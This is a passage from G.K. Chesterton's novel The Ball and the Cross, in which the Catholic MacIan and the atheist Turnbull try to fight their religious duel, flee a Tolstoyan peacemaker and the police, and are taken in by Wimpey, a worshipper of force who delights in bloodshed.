"at the world being against +us. It makes me feel I was right to----" + +"Yes?" said Turnbull. + +"To smash your window," said MacIan. "I have woken up the world." + +"Very well, then," said Turnbull, stolidly. "Let us look at a few +final facts. Beyond that hill there is comparatively clear +country. Fortunately, I know the part well, and if you will +follow me exactly, and, when necessary, on your stomach, we may +be able to get ten miles out of London, literally without meeting +anyone at all, which will be the best possible beginning, at any +rate. We have provisions for at least two days and two nights, +three days if we do it carefully. We may be able to get fifty or +sixty miles away without even walking into an inn door. I have +the biscuits and the tinned meat, and the milk. You have the +chocolate, I think? And the brandy?" + +"Yes," said MacIan, like a soldier taking orders. + +"Very well, then, come on. March. We turn under that third bush +and so down into the valley." And he set off ahead at a swinging +walk. + +Then he stopped suddenly; for he realized that the other was not +following. Evan MacIan was leaning on his sword with a lowering +face, like a man suddenly smitten still with doubt. + +"What on earth is the matter?" asked Turnbull, staring in some +anger. + +Evan made no reply. + +"What the deuce is the matter with you?" demanded the leader, +again, his face slowly growing as red as his beard; then he said, +suddenly, and in a more human voice, "Are you in pain, MacIan?" + +"Yes," replied the Highlander, without lifting his face. + +"Take some brandy," cried Turnbull, walking forward hurriedly +towards him. "You've got it." + +"It's not in the body," said MacIan, in his dull, strange way. +"The pain has come into my mind. A very dreadful thing has just +come into my thoughts." + +"What the devil are you talking about?" asked Turnbull. + +MacIan broke out with a queer and living voice. + +"We must fight now, Turnbull. We must fight now. A frightful +thing has come upon me, and I know it must be now and here. I +must kill you here," he cried, with a sort of tearful rage +impossible to describe. "Here, here, upon this blessed grass." + +"Why, you idiot," began Turnbull. + +"The hour has come--the black hour God meant for it. Quick, it +will soon be gone. Quick!" + +And he flung the scabbard from him furiously, and stood with the +sunlight sparkling along his sword. + +"You confounded fool," repeated Turnbull. "Put that thing up +again, you ass; people will come out of that house at the first +clash of the steel." + +"One of us will be dead before they come," said the other, +hoarsely, "for this is the hour God meant." + +"Well, I never thought much of God," said the editor of _The +Atheist_, losing all patience. "And I think less now. Never mind +what God meant. Kindly enlighten my pagan darkness as to what the +devil _you_ mean." + +"The hour will soon be gone. In a moment it will be gone," said +the madman. "It is now, now, now that I must nail your +blaspheming body to the earth--now, now that I must avenge Our +Lady on her vile slanderer. Now or never. For the dreadful +thought is in my mind." + +"And what thought," asked Turnbull, with frantic composure, +"occupies what you call your mind?" + +"I must kill you now," said the fanatic, "because----" + +"Well, because," said Turnbull, patiently. + +"Because I have begun to like you." + +Turnbull's face had a sudden spasm in the sunlight, a change so +instantaneous that it left no trace behind it; and his features +seemed still carved into a cold stare. But when he spoke again he +seemed like a man who was placidly pretending to misunderstand +something that he understood perfectly well. + +"Your affection expresses itself in an abrupt form," he began, +but MacIan broke the brittle and frivolous speech to pieces with +a violent voice. "Do not trouble to talk like that," he said. +"You know what I mean as well as I know it. Come on and fight, I +say. Perhaps you are feeling just as I do." + +Turnbull's face flinched again in the fierce sunlight, but his +attitude kept its contemptuous ease. + +"Your Celtic mind really goes too fast for me," he said; "let me +be permitted in my heavy Lowland way to understand this new +development. My dear Mr. MacIan, what do you really mean?" + +MacIan still kept the shining sword-point towards the other's +breast. + +"You know what I mean. You mean the same yourself. We must +fight now or else----" + +"Or else?" repeated Turnbull, staring at him with an almost +blinding gravity. + +"Or else we may not want to fight at all," answered Evan, and the +end of his speech was like a despairing cry. + +Turnbull took out his own sword suddenly as if to engage; then +planting it point downwards for a moment, he said, "Before we +begin, may I ask you a question?" + +MacIan bowed patiently, but with burning eyes. + +"You said, just now," continued Turnbull, presently, "that if we +did not fight now, we might not want to fight at all. How would +you feel about the matter if we came not to want to fight at +all?" + +"I should feel," answered the other, "just as I should feel if +you had drawn your sword, and I had run away from it. I should +feel that because I had been weak, justice had not been done." + +"Justice," answered Turnbull, with a thoughtful smile, "but we +are talking about your feelings. And what do you mean by justice, +apart from your feelings?" + +MacIan made a gesture of weary recognition! "Oh, Nominalism," he +said, with a sort of sigh, "we had all that out in the twelfth +century." + +"I wish we could have it out now," replied the other, firmly. "Do +you really mean that if you came to think me right, you would be +certainly wrong?" + +"If I had a blow on the back of my head, I might come to think +you a green elephant," answered MacIan, "but have I not the right +to say now, that if I thought that I should think wrong?" + +"Then you are quite certain that it would be wrong to like me?" +asked Turnbull, with a slight smile. + +"No," said Evan, thoughtfully, "I do not say that. It may not be +the devil, it may be some part of God I am not meant to know. But +I had a work to do, and it is making the work difficult." + +"And I suppose," said the atheist, quite gently, "that you and I +know all about which part of God we ought to know." + +MacIan burst out like a man driven back and explaining +everything. + +"The Church is not a thing like the Athenaeum Club," he cried. +"If the Athenaeum Club lost all its members, the Athenaeum Club +would dissolve and cease to exist. But when we belong to the +Church we belong to something which is outside all of us; which +is outside everything you talk about, outside the Cardinals and +the Pope. They belong to it, but it does not belong to them. If +we all fell dead suddenly, the Church would still somehow exist +in God. Confound it all, don't you see that I am more sure of its +existence than I am of my own existence? And yet you ask me to +trust my temperament, my own temperament, which can be turned +upside down by two bottles of claret or an attack of the +jaundice. You ask me to trust that when it softens towards you +and not to trust the thing which I believe to be outside myself +and more real than the blood in my body." + +"Stop a moment," said Turnbull, in the same easy tone, "Even in +the very act of saying that you believe this or that, you imply +that there is a part of yourself that you trust even if there are +many parts which you mistrust. If it is only you that like me, +surely, also, it is only you that believe in the Catholic +Church." + +Evan remained in an unmoved and grave attitude. "There is a part +of me which is divine," he answered, "a part that can be trusted, +but there are also affections which are entirely animal and +idle." + +"And you are quite certain, I suppose," continued Turnbull, "that +if even you esteem me the esteem would be wholly animal and +idle?" For the first time MacIan started as if he had not +expected the thing that was said to him. At last he said: + +"Whatever in earth or heaven it is that has joined us two +together, it seems to be something which makes it impossible to +lie. No, I do not think that the movement in me towards you +was...was that surface sort of thing. It may have been something +deeper...something strange. I cannot understand the thing at all. +But understand this and understand it thoroughly, if I loved you +my love might be divine. No, it is not some trifle that we are +fighting about. It is not some superstition or some symbol. When +you wrote those words about Our Lady, you were in that act a +wicked man doing a wicked thing. If I hate you it is because you +have hated goodness. And if I like you...it is because you are +good." + +Turnbull's face wore an indecipherable expression. + +"Well, shall we fight now?" he said. + +"Yes," said MacIan, with a sudden contraction of his black brows, +"yes, it must be now." + +The bright swords crossed, and the first touch of them, +travelling down blade and arm, told each combatant that the heart +of the other was awakened. It was not in that way that the swords +rang together when they had rushed on each other in the little +garden behind the dealer's shop. + +There was a pause, and then MacIan made a movement as if to +thrust, and almost at the same moment Turnbull suddenly and +calmly dropped his sword. Evan stared round in an unusual +bewilderment, and then realized that a large man in pale clothes +and a Panama hat was strolling serenely towards them. + + + +V. THE PEACEMAKER + +When the combatants, with crossed swords, became suddenly +conscious of a third party, they each made the same movement. It +was as quick as the snap of a pistol, and they altered it +instantaneously and recovered their original pose, but they had +both made it, they had both seen it, and they both knew what it +was. It was not a movement of anger at being interrupted. Say or +think what they would, it was a movement of relief. A force +within them, and yet quite beyond them, seemed slowly and +pitilessly washing away the adamant of their oath. As mistaken +lovers might watch the inevitable sunset of first love, these men +watched the sunset of their first hatred. + +Their hearts were growing weaker and weaker against each other. +When their weapons rang and riposted in the little London garden, +they could have been very certain that if a third party had +interrupted them something at least would have happened. They +would have killed each other or they would have killed him. But +now nothing could undo or deny that flash of fact, that for a +second they had been glad to be interrupted. Some new and strange +thing was rising higher and higher in their hearts like a high +sea at night. It was something that seemed all the more +merciless, because it might turn out an enormous mercy. Was +there, perhaps, some such fatalism in friendship as all lovers +talk about in love? Did God make men love each other against +their will? + +"I'm sure you'll excuse my speaking to you," said the stranger, +in a voice at once eager and deprecating. + +The voice was too polite for good manners. It was incongruous +with the eccentric spectacle of the duellists which ought to have +startled a sane and free man. It was also incongruous with the +full and healthy, though rather loose physique of the man who +spoke. At the first glance he looked a fine animal, with curling +gold beard and hair, and blue eyes, unusually bright. It was only +at the second glance that the mind felt a sudden and perhaps +unmeaning irritation at the way in which the gold beard retreated +backwards into the waistcoat, and the way in which the finely +shaped nose went forward as if smelling its way. And it was only, +perhaps, at the hundredth glance that the bright blue eyes, which +normally before and after the instant seemed brilliant with +intelligence, seemed as it were to be brilliant with idiocy. He +was a heavy, healthy-looking man, who looked all the larger +because of the loose, light coloured clothes that he wore, and +that had in their extreme lightness and looseness, almost a touch +of the tropics. But a closer examination of his attire would have +shown that even in the tropics it would have been unique; but it +was all woven according to some hygienic texture which no human +being had ever heard of before, and which was absolutely +necessary even for a day's health. He wore a huge broad-brimmed +hat, equally hygienic, very much at the back of his head, and his +voice coming out of so heavy and hearty a type of man was, as I +have said, startlingly shrill and deferential. + +"I'm sure you'll excuse my speaking to you," he said. "Now, I +wonder if you are in some little difficulty which, after all, we +could settle very comfortably together? Now, you don't mind my +saying this, do you?" + +The face of both combatants remained somewhat solid under this +appeal. But the stranger, probably taking their silence for a +gathering shame, continued with a kind of gaiety: + +"So you are the young men I have read about in the papers. Well, +of course, when one is young, one is rather romantic. Do you know +what I always say to young people?" + +A blank silence followed this gay inquiry. Then Turnbull said in +a colourless voice: + +"As I was forty-seven last birthday, I probably came into the +world too soon for the experience." + +"Very good, very good," said the friendly person. "Dry Scotch +humour. Dry Scotch humour. Well now. I understand that you two +people want to fight a duel. I suppose you aren't much up in the +modern world. We've quite outgrown duelling, you know. In fact, +Tolstoy tells us that we shall soon outgrow war, which he says is +simply a duel between nations. A duel between nations. But there +is no doubt about our having outgrown duelling." + +Waiting for some effect upon his wooden auditors, the stranger +stood beaming for a moment and then resumed: + +"Now, they tell me in the newspapers that you are really wanting +to fight about something connected with Roman Catholicism. Now, +do you know what I always say to Roman Catholics?" + +"No," said Turnbull, heavily. "Do _they_?" It seemed to be a +characteristic of the hearty, hygienic gentleman that he always +forgot the speech he had made the moment before. Without +enlarging further on the fixed form of his appeal to the Church +of Rome, he laughed cordially at Turnbull's answer; then his +wandering blue eyes caught the sunlight on the swords, and he +assumed a good-humoured gravity. + +"But you know this is a serious matter," he said, eyeing Turnbull +and MacIan, as if they had just been keeping the table in a roar +with their frivolities. "I am sure that if I appealed to your +higher natures...your higher natures. Every man has a higher +nature and a lower nature. Now, let us put the matter very +plainly, and without any romantic nonsense about honour or +anything of that sort. Is not bloodshed a great sin?" + +"No," said MacIan, speaking for the first time. + +"Well, really, really!" said the peacemaker. + +"Murder is a sin," said the immovable Highlander. "There is no +sin of bloodshed." + +"Well, we won't quarrel about a word," said the other, +pleasantly. + +"Why on earth not?" said MacIan, with a sudden asperity. "Why +shouldn't we quarrel about a word? What is the good of words if +they aren't important enough to quarrel over? Why do we choose +one word more than another if there isn't any difference between +them? If you called a woman a chimpanzee instead of an angel, +wouldn't there be a quarrel about a word? If you're not going to +argue about words, what are you going to argue about? Are you +going to convey your meaning to me by moving your ears? The +Church and the heresies always used to fight about words, because +they are the only things worth fighting about. I say that murder +is a sin, and bloodshed is not, and that there is as much +difference between those words as there is between the word 'yes' +and the word 'no'; or rather more difference, for 'yes' and 'no', +at least, belong to the same category. Murder is a spiritual +incident. Bloodshed is a physical incident. A surgeon commits +bloodshed. + +"Ah, you're a casuist!" said the large man, wagging his head. +"Now, do you know what I always say to casuists...?" + +MacIan made a violent gesture; and Turnbull broke into open +laughter. The peacemaker did not seem to be in the least annoyed, +but continued in unabated enjoyment. + +"Well, well," he said, "let us get back to the point. Now Tolstoy +has shown that force is no remedy; so you see the position in +which I am placed. I am doing my best to stop what I'm sure you +won't mind my calling this really useless violence, this really +quite wrong violence of yours. But it's against my principles to +call in the police against you, because the police are still on a +lower moral plane, so to speak, because, in short, the police +undoubtedly sometimes employ force. Tolstoy has shown that +violence merely breeds violence in the person towards whom it is +used, whereas Love, on the other hand, breeds Love. So you see +how I am placed. I am reduced to use Love in order to stop you. +I am obliged to use Love." + +He gave to the word an indescribable sound of something hard and +heavy, as if he were saying "boots". Turnbull suddenly gripped +his sword and said, shortly, "I see how you are placed quite +well, sir. You will not call the police. Mr. MacIan, shall we +engage?" MacIan plucked his sword out of the grass. + +"I must and will stop this shocking crime," cried the Tolstoian, +crimson in the face. "It is against all modern ideas. It is +against the principle of love. How you, sir, who pretend to be a +Christian..." + +MacIan turned upon him with a white face and bitter lip. "Sir," +he said, "talk about the principle of love as much as you like. +You seem to me colder than a lump of stone; but I am willing to +believe that you may at some time have loved a cat, or a dog, or +a child. When you were a baby, I suppose you loved your mother. +Talk about love, then, till the world is sick of the word. But +don't you talk about Christianity. Don't you dare to say one +word, white or black, about it. Christianity is, as far as you +are concerned, a horrible mystery. Keep clear of it, keep silent +upon it, as you would upon an abomination. It is a thing that has +made men slay and torture each other; and you will never know +why. It is a thing that has made men do evil that good might +come; and you will never understand the evil, let alone the good. +Christianity is a thing that could only make you vomit, till you +are other than you are. I would not justify it to you even if I +could. Hate it, in God's name, as Turnbull does, who is a man. +It is a monstrous thing, for which men die. And if you will stand +here and talk about love for another ten minutes it is very +probable that you will see a man die for it." + +And he fell on guard. Turnbull was busy settling something loose +in his elaborate hilt, and the pause was broken by the stranger. + +"Suppose I call the police?" he said, with a heated face. + +"And deny your most sacred dogma," said MacIan. + +"Dogma!" cried the man, in a sort of dismay. "Oh, we have no +_dogmas_, you know!" + +There was another silence, and he said again, airily: + +"You know, I think, there's something in what Shaw teaches about +no moral principles being quite fixed. Have you ever read _The +Quintessence of Ibsenism_? Of course he went very wrong over the +war." + +Turnbull, with a bent, flushed face, was tying up the loose piece +of the pommel with string. With the string in his teeth, he said, +"Oh, make up your damned mind and clear out!" + +"It's a serious thing," said the philosopher, shaking his head. +"I must be alone and consider which is the higher point of view. +I rather feel that in a case so extreme as this..." and he went +slowly away. As he disappeared among the trees, they heard him +murmuring in a sing-song voice, "New occasions teach new duties," +out of a poem by James Russell Lowell. + +"Ah," said MacIan, drawing a deep breath. "Don't you believe in +prayer now? I prayed for an angel." + +"An hour ago," said the Highlander, in his heavy meditative +voice, "I felt the devil weakening my heart and my oath against +you, and I prayed that God would send an angel to my aid." + +"Well?" inquired the other, finishing his mending and wrapping +the rest of the string round his hand to get a firmer grip. + +"Well?" + +"Well, that man was an angel," said MacIan. + +"I didn't know they were as bad as that," answered Turnbull. + +"We know that devils sometimes quote Scripture and counterfeit +good," replied the mystic. "Why should not angels sometimes come +to show us the black abyss of evil on whose brink we stand. If +that man had not tried to stop us...I might...I might have +stopped." + +"I know what you mean," said Turnbull, grimly. + +"But then he came," broke out MacIan, "and my soul said to me: +'Give up fighting, and you will become like That. Give up vows +and dogmas, and fixed things, and you may grow like That. You may +learn, also, that fog of false philosophy. You may grow fond of +that mire of crawling, cowardly morals, and you may come to think +a blow bad, because it hurts, and not because it humiliates. You +may come to think murder wrong, because it is violent, and not +because it is unjust. Oh, you blasphemer of the good, an hour ago +I almost loved you! But do not fear for me now. I have heard the +word Love pronounced in _his_ intonation; and I know exactly what +it means. On guard!'" + +The swords caught on each other with a dreadful clang and jar, +full of the old energy and hate; and at once plunged and +replunged. Once more each man's heart had become the magnet of a +mad sword. Suddenly, furious as they were, they were frozen for a +moment motionless. + +"What noise is that?" asked the Highlander, hoarsely. + +"I think I know," replied Turnbull. + +"What?... What?" cried the other. + +"The student of Shaw and Tolstoy has made up his remarkable +mind," said Turnbull, quietly. "The police are coming up the +hill." + + + +VI. THE OTHER PHILOSOPHER + +Between high hedges in Hertfordshire, hedges so high as to create +a kind of grove, two men were running. They did not run in a +scampering or feverish manner, but in the steady swing of the +pendulum. Across the great plains and uplands to the right and +left of the lane, a long tide of sunset light rolled like a sea +of ruby, lighting up the long terraces of the hills and picking +out the few windows of the scattered hamlets in startling +blood-red sparks. But the lane was cut deep in the hill and +remained in an abrupt shadow. The two men running in it had an +impression not uncommonly experienced between those wild green +English walls; a sense of being led between the walls of a maze. + +Though their pace was steady it was vigorous; their faces were +heated and their eyes fixed and bright. There was, indeed, +something a little mad in the contrast between the evening's +stillness over the empty country-side, and these two figures +fleeing wildly from nothing. They had the look of two lunatics, +possibly they were. + +"Are you all right?" said Turnbull, with civility. "Can you keep +this up?" + +"Quite easily, thank you," replied MacIan. "I run very well." + +"Is that a qualification in a family of warriors?" asked +Turnbull. + +"Undoubtedly. Rapid movement is essential," answered MacIan, who +never saw a joke in his life. + +Turnbull broke out into a short laugh, and silence fell between +them, the panting silence of runners. + +Then MacIan said: "We run better than any of those policemen. +They are too fat. Why do you make your policemen so fat?" + +"I didn't do much towards making them fat myself," replied +Turnbull, genially, "but I flatter myself that I am now doing +something towards making them thin. You'll see they will be as +lean as rakes by the time they catch us. They will look like your +friend, Cardinal Manning." + +"But they won't catch us," said MacIan, in his literal way. + +"No, we beat them in the great military art of running away," +returned the other. "They won't catch us unless----" + +MacIan turned his long equine face inquiringly. "Unless what?" he +said, for Turnbull had gone silent suddenly, and seemed to be +listening intently as he ran as a horse does with his ears turned +back. + +"Unless what?" repeated the Highlander. + +"Unless they do--what they have done. Listen." MacIan slackened +his trot, and turned his head to the trail they had left behind +them. Across two or three billows of the up and down lane came +along the ground the unmistakable throbbing of horses' hoofs. + +"They have put the mounted police on us," said Turnbull, shortly. +"Good Lord, one would think we were a Revolution." + +"So we are," said MacIan calmly. "What shall we do? Shall we turn +on them with our points?" + +"It may come to that," answered Turnbull, "though if it does, I +reckon that will be the last act. We must put it off if we can." +And he stared and peered about him between the bushes. "If we +could hide somewhere the beasts might go by us," he said. "The +police have their faults, but thank God they're inefficient. Why, +here's the very thing. Be quick and quiet. Follow me." + +He suddenly swung himself up the high bank on one side of the +lane. It was almost as high and smooth as a wall, and on the top +of it the black hedge stood out over them as an angle, almost +like a thatched roof of the lane. And the burning evening sky +looked down at them through the tangle with red eyes as of an +army of goblins. + +Turnbull hoisted himself up and broke the hedge with his body. As +his head and shoulders rose above it they turned to flame in the +full glow as if lit up by an immense firelight. His red hair and +beard looked almost scarlet, and his pale face as bright as a +boy's. Something violent, something that was at once love and +hatred, surged in the strange heart of the Gael below him. He had +an unutterable sense of epic importance, as if he were somehow +lifting all humanity into a prouder and more passionate region of +the air. As he swung himself up also into the evening light he +felt as if he were rising on enormous wings. + +Legends of the morning of the world which he had heard in +childhood or read in youth came back upon him in a cloudy +splendour, purple tales of wrath and friendship, like Roland and +Oliver, or Balin and Balan, reminding him of emotional +entanglements. Men who had loved each other and then fought each +other; men who had fought each other and then loved each other, +together made a mixed but monstrous sense of momentousness. The +crimson seas of the sunset seemed to him like a bursting out of +some sacred blood, as if the heart of the world had broken. + +Turnbull was wholly unaffected by any written or spoken poetry; +his was a powerful and prosaic mind. But even upon him there came +for the moment something out of the earth and the passionate ends +of the sky. The only evidence was in his voice, which was still +practical but a shade more quiet. + +"Do you see that summer-house-looking thing over there?" he asked +shortly. "That will do for us very well." + +Keeping himself free from the tangle of the hedge he strolled +across a triangle of obscure kitchen garden, and approached a +dismal shed or lodge a yard or two beyond it. It was a +weather-stained hut of grey wood, which with all its desolation +retained a tag or two of trivial ornament, which suggested that +the thing had once been a sort of summer-house, and the place +probably a sort of garden. + +"That is quite invisible from the road," said Turnbull, as he +entered it, "and it will cover us up for the night." + +MacIan looked at him gravely for a few moments. "Sir," he said, +"I ought to say something to you. I ought to say----" + +"Hush," said Turnbull, suddenly lifting his hand; "be still, +man." + +In the sudden silence, the drumming of the distant horses grew +louder and louder with inconceivable rapidity, and the cavalcade +of police rushed by below them in the lane, almost with the roar +and rattle of an express train. + +"I ought to tell you," continued MacIan, still staring stolidly +at the other, "that you are a great chief, and it is good to go +to war behind you." + +Turnbull said nothing, but turned and looked out of the foolish +lattice of the little windows, then he said, "We must have food +and sleep first." + +When the last echo of their eluded pursuers had died in the +distant uplands, Turnbull began to unpack the provisions with the +easy air of a man at a picnic. He had just laid out the last +items, put a bottle of wine on the floor, and a tin of salmon on +the window-ledge, when the bottomless silence of that forgotten +place was broken. And it was broken by three heavy blows of a +stick delivered upon the door. + +Turnbull looked up in the act of opening a tin and stared +silently at his companion. MacIan's long, lean mouth had shut +hard. + +"Who the devil can that be?" said Turnbull. + +"God knows," said the other. "It might be God." + +Again the sound of the wooden stick reverberated on the wooden +door. It was a curious sound and on consideration did not +resemble the ordinary effects of knocking on a door for +admittance. It was rather as if the point of a stick were plunged +again and again at the panels in an absurd attempt to make a hole +in them. + +A wild look sprang into MacIan's eyes and he got up half +stupidly, with a kind of stagger, put his hand out and caught one +of the swords. "Let us fight at once," he cried, "it is the end +of the world." + +"You're overdone, MacIan," said Turnbull, putting him on one +side. "It's only someone playing the goat. Let me open the +door." + +But he also picked up a sword as he stepped to open it. + +He paused one moment with his hand on the handle and then flung +the door open. Almost as he did so the ferrule of an ordinary +bamboo cane came at his eyes, so that he had actually to parry it +with the naked weapon in his hands. As the two touched, the point +of the stick was dropped very abruptly, and the man with the +stick stepped hurriedly back. + +Against the heraldic background of sprawling crimson and gold +offered him by the expiring sunset, the figure of the man with +the stick showed at first merely black and fantastic. He was a +small man with two wisps of long hair that curled up on each +side, and seen in silhouette, looked like horns. He had a bow tie +so big that the two ends showed on each side of his neck like +unnatural stunted wings. He had his long black cane still tilted +in his hand like a fencing foil and half presented at the open +door. His large straw hat had fallen behind him as he leapt +backwards. + +"With reference to your suggestion, MacIan," said Turnbull, +placidly, "I think it looks more like the Devil." + +"Who on earth are you?" cried the stranger in a high shrill +voice, brandishing his cane defensively. + +"Let me see," said Turnbull, looking round to MacIan with the +same blandness. "Who are we?" + +"Come out," screamed the little man with the stick. + +"Certainly," said Turnbull, and went outside with the sword, +MacIan following. + +Seen more fully, with the evening light on his face, the strange +man looked a little less like a goblin. He wore a square +pale-grey jacket suit, on which the grey butterfly tie was the +only indisputable touch of affectation. Against the great sunset +his figure had looked merely small: seen in a more equal light it +looked tolerably compact and shapely. His reddish-brown hair, +combed into two great curls, looked like the long, slow curling +hair of the women in some pre-Raphaelite pictures. But within +this feminine frame of hair his face was unexpectedly impudent, +like a monkey's. + +"What are you doing here?" he said, in a sharp small voice. + +"Well," said MacIan, in his grave childish way, "what are _you_ +doing here?" + +"I," said the man, indignantly, "I'm in my own garden." + +"Oh," said MacIan, simply, "I apologize." + +Turnbull was coolly curling his red moustache, and the stranger +stared from one to the other, temporarily stunned by their +innocent assurance. + +"But, may I ask," he said at last, "what the devil you are doing +in my summer-house?" + +"Certainly," said MacIan. "We were just going to fight." + +"To fight!" repeated the man. + +"We had better tell this gentleman the whole business," broke in +Turnbull. Then turning to the stranger he said firmly, "I am +sorry, sir, but we have something to do that must be done. And I +may as well tell you at the beginning and to avoid waste of time +or language, that we cannot admit any interference." + +"We were just going to take some slight refreshment when you +interrupted us..." + +The little man had a dawning expression of understanding and +stooped and picked up the unused bottle of wine, eyeing it +curiously. + +Turnbull continued: + +"But that refreshment was preparatory to something which I fear +you will find less comprehensible, but on which our minds are +entirely fixed, sir. We are forced to fight a duel. We are forced +by honour and an internal intellectual need. Do not, for your own +sake, attempt to stop us. I know all the excellent and ethical +things that you will want to say to us. I know all about the +essential requirements of civil order: I have written leading +articles about them all my life. I know all about the sacredness +of human life; I have bored all my friends with it. Try and +understand our position. This man and I are alone in the modern +world in that we think that God is essentially important. I think +He does not exist; that is where the importance comes in for me. +But this man thinks that He does exist, and thinking that very +properly thinks Him more important than anything else. Now we +wish to make a great demonstration and assertion--something that +will set the world on fire like the first Christian persecutions. +If you like, we are attempting a mutual martyrdom. The papers +have posted up every town against us. Scotland Yard has fortified +every police station with our enemies; we are driven therefore to +the edge of a lonely lane, and indirectly to taking liberties +with your summer-house in order to arrange our..." + +"Stop!" roared the little man in the butterfly necktie. "Put me +out of my intellectual misery. Are you really the two tomfools I +have read of in all the papers? Are you the two people who wanted +to spit each other in the Police Court? Are you? Are you?" + +"Yes," said MacIan, "it began in a Police Court." + +The little man slung the bottle of wine twenty yards away like a +stone. + +"Come up to my place," he said. "I've got better stuff than that. +I've got the best Beaune within fifty miles of here. Come up. +You're the very men I wanted to see." + +Even Turnbull, with his typical invulnerability, was a little +taken aback by this boisterous and almost brutal hospitality. + +"Why...sir..." he began. + +"Come up! Come in!" howled the little man, dancing with delight. +"I'll give you a dinner. I'll give you a bed! I'll give you a +green smooth lawn and your choice of swords and pistols. Why, you +fools, I adore fighting! It's the only good thing in God's world! +I've walked about these damned fields and longed to see somebody +cut up and killed and the blood running. Ha! Ha!" + +And he made sudden lunges with his stick at the trunk of a +neighbouring tree so that the ferrule made fierce prints and +punctures in the bark. + +"Excuse me," said MacIan suddenly with the wide-eyed curiosity of +a child, "excuse me, but..." + +"Well?" said the small fighter, brandishing his wooden weapon. + +"Excuse me," repeated MacIan, "but was that what you were doing +at the door?" + +The little man stared an instant and then said: "Yes," and +Turnbull broke into a guffaw. + +"Come on!" cried the little man, tucking his stick under his arm +and taking quite suddenly to his heels. "Come on! Confound me, +I'll see both of you eat and then I'll see one of you die. Lord +bless me, the gods must exist after all--they have sent me one of +my day-dreams! Lord! A duel!" + +He had gone flying along a winding path between the borders of +the kitchen garden, and in the increasing twilight he was as hard +to follow as a flying hare. But at length the path after many +twists betrayed its purpose and led abruptly up two or three +steps to the door of a tiny but very clean cottage. There was +nothing about the outside to distinguish it from other cottages, +except indeed its ominous cleanliness and one thing that was out +of all the custom and tradition of all cottages under the sun. +In the middle of the little garden among the stocks and marigolds +there surged up in shapeless stone a South Sea Island idol. There +was something gross and even evil in that eyeless and alien god +among the most innocent of the English flowers. + +"Come in!" cried the creature again. "Come in! it's better +inside!" + +Whether or no it was better inside it was at least a surprise. +The moment the two duellists had pushed open the door of that +inoffensive, whitewashed cottage they found that its interior was +lined with fiery gold. It was like stepping into a chamber in the +Arabian Nights. The door that closed behind them shut out England +and all the energies of the West. The ornaments that shone and +shimmered on every side of them were subtly mixed from many +periods and lands, but were all oriental. Cruel Assyrian +bas-reliefs ran along the sides of the passage; cruel Turkish +swords and daggers glinted above and below them; the two were +separated by ages and fallen civilizations. Yet they seemed to +sympathize since they were both harmonious and both merciless. +The house seemed to consist of chamber within chamber and created +that impression as of a dream which belongs also to the Arabian +Nights themselves. The innermost room of all was like the inside +of a jewel. The little man who owned it all threw himself on a +heap of scarlet and golden cushions and struck his hands +together. A negro in a white robe and turban appeared suddenly +and silently behind them. + +"Selim," said the host, "these two gentlemen are staying with me +tonight. Send up the very best wine and dinner at once. And +Selim, one of these gentlemen will probably die tomorrow. Make +arrangements, please." + +The negro bowed and withdrew. + +Evan MacIan came out the next morning into the little garden to a +fresh silver day, his long face looking more austere than ever in +that cold light, his eyelids a little heavy. He carried one of +the swords. Turnbull was in the little house behind him, +demolishing the end of an early breakfast and humming a tune to +himself, which could be heard through the open window. A moment +or two later he leapt to his feet and came out into the sunlight, +still munching toast, his own sword stuck under his arm like a +walking-stick. + +Their eccentric host had vanished from sight, with a polite +gesture, some twenty minutes before. They imagined him to be +occupied on some concerns in the interior of the house, and they +waited for his emergence, stamping the garden in silence--the +garden of tall, fresh country flowers, in the midst of which the +monstrous South Sea idol lifted itself as abruptly as the prow of +a ship riding on a sea of red and white and gold. + +It was with a start, therefore, that they came upon the man +himself already in the garden. They were all the more startled +because of the still posture in which they found him. He was on +his knees in front of the stone idol, rigid and motionless, like +a saint in a trance or ecstasy. Yet when Turnbull's tread broke a +twig, he was on his feet in a flash. + +"Excuse me," he said with an irradiation of smiles, but yet with +a kind of bewilderment. "So sorry...family prayers...old +fashioned...mother's knee. Let us go on to the lawn behind." + +And he ducked rapidly round the statue to an open space of grass +on the other side of it. + +"This will do us best, Mr. MacIan," said he. Then he made a +gesture towards the heavy stone figure on the pedestal which had +now its blank and shapeless back turned towards them. "Don't you +be afraid," he added, "he can still see us." + +MacIan turned his blue, blinking eyes, which seemed still misty +with sleep (or sleeplessness) towards the idol, but his brows +drew together. + +The little man with the long hair also had his eyes on the back +view of the god. His eyes were at once liquid and burning, and he +rubbed his hands slowly against each other. + +"Do you know," he said, "I think he can see us better this way. +I often think that this blank thing is his real face, watching, +though it cannot be watched. He! he! Yes, I think he looks nice +from behind. He looks more cruel from behind, don't you think?" + +"What the devil is the thing?" asked Turnbull gruffly. + +"It is the only Thing there is," answered the other. "It is +Force." + +"Oh!" said Turnbull shortly. + +"Yes, my friends," said the little man, with an animated +countenance, fluttering his fingers in the air, "it was no chance +that led you to this garden; surely it was the caprice of some +old god, some happy, pitiless god. Perhaps it was his will, for +he loves blood; and on that stone in front of him men have been +butchered by hundreds in the fierce, feasting islands of the +South. In this cursed, craven place I have not been permitted to +kill men on his altar. Only rabbits and cats, sometimes." + +In the stillness MacIan made a sudden movement, unmeaning +apparently, and then remained rigid. + +"But today, today," continued the small man in a shrill voice. +"Today his hour is come. Today his will is done on earth as it +is in heaven. Men, men, men will bleed before him today." And +he bit his forefinger in a kind of fever. + +Still, the two duellists stood with their swords as heavily as +statues, and the silence seemed to cool the eccentric and call +him back to more rational speech. + +"Perhaps I express myself a little too lyrically," he said with +an amicable abruptness. "My philosophy has its higher ecstasies, +but perhaps you are hardly worked up to them yet. Let us confine +ourselves to the unquestioned. You have found your way, +gentlemen, by a beautiful accident, to the house of the only man +in England (probably) who will favour and encourage your most +reasonable project. From Cornwall to Cape Wrath this county is +one horrible, solid block of humanitarianism. You will find men +who will defend this or that war in a distant continent. They +will defend it on the contemptible ground of commerce or the more +contemptible ground of social good. But do not fancy that you +will find one other person who will comprehend a strong man +taking the sword in his hand and wiping out his enemy. My name +is Wimpey, Morrice Wimpey. I had a Fellowship at Magdalen. But I +assure you I had to drop it, owing to my having said something in +a public lecture infringing the popular prejudice against those +great gentlemen, the assassins of the Italian Renaissance. They +let me say it at dinner and so on, and seemed to like it. But in +a public lecture...so inconsistent. Well, as I say, here is your +only refuge and temple of honour. Here you can fall back on that +naked and awful arbitration which is the only thing that balances +the stars--a still, continuous violence. _Vae Victis!_ Down, +down, down with the defeated! Victory is the only ultimate fact. +Carthage _was_ destroyed, the Red Indians are being exterminated: +that is the single certainty. In an hour from now that sun will +still be shining and that grass growing, and one 